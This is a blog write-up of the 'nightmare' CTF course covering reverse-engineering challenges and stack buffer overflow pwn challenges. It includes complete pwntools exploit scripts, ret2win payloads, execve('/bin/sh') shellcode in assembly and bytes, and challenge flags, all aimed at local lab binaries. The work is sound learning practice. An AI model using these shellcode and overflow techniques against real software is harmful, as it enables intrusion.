/home /posts /writeups /files /random

I’m going to start with nightmare, which I found on github and seems to be a intro binexp/rev course based on ctf challanges. There are about 90 challs taken from different ctfs, with accompanying writups. It also seems to be packed with anime references. Seems fun!

My goal is to have this done in a 5 days. There are 11 sections, so I’m going to aim for 2-3 sections per day. Is it possible? Who knows, I haven’t looked at how long each section actually is. I’ll try and keep a log of my progress as I go.

I know there are already writeups for all of these, as the writeups are part of nightmare, but I’m gonna try and do writeups too, cause why not. I’ll be using python3 instead of python2 like nighmare was written in. Also some of the original nightmare writeups are broken for various reasons, like libc version changes, movaps, etc, so I will point out when stuff from the original writups is broken, and how I fixed it.

Introduction

So the intro was REALLY easy. I guess everyone has to start somewhere.

STRINGS

boris% ./strings
Have you ever used the 'strings' function? Check out the man pages!

This one was simple.

boris% strings strings | grep {
picoCTF{sTrIngS_sAVeS_Time_3f712a28}i

REV

boris%  objdump -D rev -M intel > out

Looking inside main we see a validate function which places a string of characters on the stack to compare with the input. Decoding the string gives us the flag.

    1205:   c7 45 c0 66 00 00 00    mov    DWORD PTR [rbp-0x40],0x66
    120c:   c7 45 c4 6c 00 00 00    mov    DWORD PTR [rbp-0x3c],0x6c
    1213:   c7 45 c8 61 00 00 00    mov    DWORD PTR [rbp-0x38],0x61
    121a:   c7 45 cc 67 00 00 00    mov    DWORD PTR [rbp-0x34],0x67
    1221:   c7 45 d0 7b 00 00 00    mov    DWORD PTR [rbp-0x30],0x7b
    1228:   c7 45 d4 48 00 00 00    mov    DWORD PTR [rbp-0x2c],0x48
    122f:   c7 45 d8 75 00 00 00    mov    DWORD PTR [rbp-0x28],0x75
    1236:   c7 45 dc 43 00 00 00    mov    DWORD PTR [rbp-0x24],0x43
    123d:   c7 45 e0 66 00 00 00    mov    DWORD PTR [rbp-0x20],0x66
    1244:   c7 45 e4 5f 00 00 00    mov    DWORD PTR [rbp-0x1c],0x5f
    124b:   c7 45 e8 6c 00 00 00    mov    DWORD PTR [rbp-0x18],0x6c
    1252:   c7 45 ec 41 00 00 00    mov    DWORD PTR [rbp-0x14],0x41
    1259:   c7 45 f0 62 00 00 00    mov    DWORD PTR [rbp-0x10],0x62
    1260:   c7 45 f4 7d 00 00 00    mov    DWORD PTR [rbp-0xc],0x7d

boris% echo -e "\x66\x6c\x61\x67\x7b\x48\x75\x43\x66\x5f\x6c\x41\x62\x7d" 
flag{HuCf_lAb}

beleaf

  __isoc99_scanf(&DAT_00100a78,local_98);
  sVar1 = strlen(local_98);
  for (local_b0 = 0; local_b0 < sVar1; local_b0 = local_b0 + 1) {
    lVar2 = FUN_001007fa(local_98[local_b0]);
    if (lVar2 != *(long *)(&DAT_003014e0 + local_b0 * 8)) {
      puts("Incorrect!");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
  }
  puts("Correct!");

The main function gets user input, and then runs each character through a function FUN_001007fa, then checks if the output is is equal to a characer in the same index of FUN_001007fa. But what does FUN_001007fa do?

  local_10 = 0;
  while ((local_10 != -1 && ((int)param_1 != *(int *)(&DAT_00301020 + local_10 * 4)))) {
    if ((int)param_1 < *(int *)(&DAT_00301020 + local_10 * 4)) {
      local_10 = local_10 * 2 + 1;
    }
    else if (*(int *)(&DAT_00301020 + local_10 * 4) < (int)param_1) {
      local_10 = (local_10 + 1) * 2;
    }
  }
  return local_10;

It takes a character, checks if its greater or less than a character in some array, and then depending on that it compares it to a different character, until it finds a character thats equal to it. Then it returns the index of that character. It does this using a binary tree. You can see this if you look at how the index changes based on the comparison. I guess thats why the challenge is called beleaf.

        0   
      /   \
     1     2
    / \   / \
   3   4 5   6

You don’t have to realize that its a binary tree though. All you need to realize is that given a character, it returns the index of that character in the array. So to find the flag, take each value from the final array &DAT_003014e0 and find the character at that index in the first array &DAT_00301020.

For example, the first value of the final array is 0x01. So we check the 1st character of the other array and we get 66h, which is f. Note that the first array has its elements spaced out by 8, and the second one is spaced out by 4. So when I say the 1st element I really mean the 4th element (0 indexed).

flag{we_beleaf_in_your_re_future}

Stack Buffer Overflows

BOF Variable

Tamu ’19 PWN1

boris% checksec pwn1
[*] 'pwn1'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
from pwn import *

target = process('./pwn1')

payload = b"0"*43
payload += p32(0xDEA110C8)

target.sendline("Sir Lancelot of Camelot\nTo seek the Holy Grail.")

target.sendline(payload)

target.interactive()

This one was pretty self explanitory.

TW17 Just Do It!

boris% checksec just_do_it 
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

The only lines that matter are below.

  FILE *local_18;
  char *local_14;
  local_18 = fopen("flag.txt","r");
  pcVar1 = fgets(flag,0x30,local_18);
  pcVar1 = fgets(local_28,0x20,stdin);
  puts(local_14);

flag is a label for 0804a080. So we overwrite local_14 with the 0804a080, so that puts prints the flag.

from pwn import *

target = process('./just_do_it')

payload = b"A"*20
payload += p32(0x0804a080)


target.sendline(payload)

target.interactive()

Warmup

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Ok, so this one looked really easy, like REALLY easy. And it ended up taking me a lot longer than I expected becuase of an issue with the challenge. Due to a difference in libc versions, my newer version of libc used movaps, which needs the stack to be aligned. So I needed to add a ret before the easy function to allign the stack. It took me a long time to figure that out, but hey, at least I learned something.

Anyways, this challange was a simple ret2win. The function named easy prints the flag, you just need to overwrite the return address with the address of easy.

from pwn import *

target = process('./warmup')
#gdb.attach(target, gdbscript = 'b *0x4006a3')

payload = b'0'*0x48
payload += p64(0x00400714) # address of a ret
payload += p64(0x40060d) #address of "easy"
# Send the payload
target.sendline(payload)

target.interactive()

Get It

Another ret2win. Same movaps issue, fixed with ret gadget.

from pwn import *

target = process('./get_it')

payload += b'0'*0x28
payload += p64(0x0040067c) #ret
payload += p64(0x004005b6) #give_shell
target.sendline(payload)
target.interactive()

Shellcode

Pilot

This was a simple shellcode BOF. I had aslr turned on, but it leaked the memory address for us.

[*]Good Luck Pilot!....
[*]Location:0x7ffef06ed7f0

This was my first time writing shellcode instead of just copying it from shellstorm or using msfvenom. It’s about as basic as an execve(‘//bin/sh/’,0,0) shellcode can be. But it was a fun learning experiene nonetheless.

boris% cat shellcode.asm
global  _start
section .text
_start:
    xor rdx, rdx
    xor rsi, rsi
    mov rbx, 0x68732F6E69622F2F
    push rax
    push rbx
    push rsp
    pop rdi
    mov al, 0x3b
    syscall
;\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x53\x54\x5f\xb0\x3b\x0f\x05
from pwn import *

target = process('./pilot')
gdb.attach(target, gdbscript = 'b main')

target.recvuntil("[*]Location:")
leak = int(target.recvline()[:-1].decode('utf-8'),16)
print(leak)
# Make the payload
payload = b'\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x53\x54\x5f\xb0\x3b\x0f\x05'
payload += b'0'*(0x28-len(payload))
payload += p64(leak)
target.sendline(payload)
target.interactive()

PWN3

Another basic shellcode with address leak. I had to try a couple of different shellcode variants before it worked, idk why.

from pwn import *

target = process('./pwn3')
#gdb.attach(target, gdbscript = 'b main')


target.recvuntil("journey ")
leak = int(target.recvline()[:-2].decode('utf-8'),16)
# Make the payload
payload = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
payload += b'0'*(0x12e-len(payload))
payload += p32(leak)
target.sendline(payload)
target.interactive()

Shelleasy

This one was definetly easy. Same as all of the previous shellcode pwns but with a “stack canary” of deadbeef.

from pwn import *

target = process('./shella-easy')
#gdb.attach(target, gdbscript = 'b main')


target.recvuntil("I'll have a ")
leak = int(target.recvline()[:10].decode('utf-8'),16)
#print(target.recvline()[:9])
# Make the payload
payload = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
payload += b'0'*(0x40-len(payload))
payload += p32(0xDEADBEEF)
payload += b'0'*0x8
payload += p32(leak)
target.sendline(payload)
target.interactive()

BOF Static

Written: 2022-12-20 Last Updated: 2022-12-22